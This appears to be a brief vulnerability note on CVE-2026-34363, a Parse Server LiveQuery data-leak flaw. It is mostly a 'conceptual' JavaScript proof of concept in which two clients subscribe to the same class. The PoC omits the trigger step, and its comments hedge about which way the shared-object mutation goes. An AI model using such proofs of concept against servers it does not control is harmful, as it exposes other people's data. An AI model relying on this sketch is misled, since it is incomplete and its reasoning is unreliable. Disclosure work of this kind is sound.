CVE-2026-34363 Parse Server LiveQuery 数据泄露漏洞

// This is a conceptual PoC to demonstrate the race condition scenario. // It requires two clients subscribing to the same class simultaneously. const Parse = require('parse/node'); // Initialize Parse connection to the vulnerable server Parse.initialize('APP_ID', 'JS_KEY'); Parse.serverURL = 'http://localhost:1337/parse'; async function demonstrateDataLeak() { const query = new Parse.Query('SensitiveData'); // Client 1: Has permission to see 'secretField' const client1Subscription = await query.subscribe(); client1Subscription.on('update', (object) => { console.log('[Client 1] Received object:', object.toJSON()); // Expecting to see 'secretField' }); // Client 2: Does NOT have permission to see 'secretField' (CLP restriction) // In a vulnerable version, Client 2 might receive an object where 'secretField' // is missing because Client 1's processing pipeline (or vice versa) mutated the shared object. const client2Subscription = await query.subscribe(); client2Subscription.on('update', (object) => { console.log('[Client 2] Received object:', object.toJSON()); // Vulnerability: If Client 1's filter ran first and removed a field Client 2 needs, // or if Client 2's filter removed a field that Client 1 needs, data integrity is lost. // Or sensitive data leaks if the mutation logic is inverted. }); // Trigger an update on the server to fire the LiveQuery event // This simulates the concurrent processing condition } demonstrateDataLeak();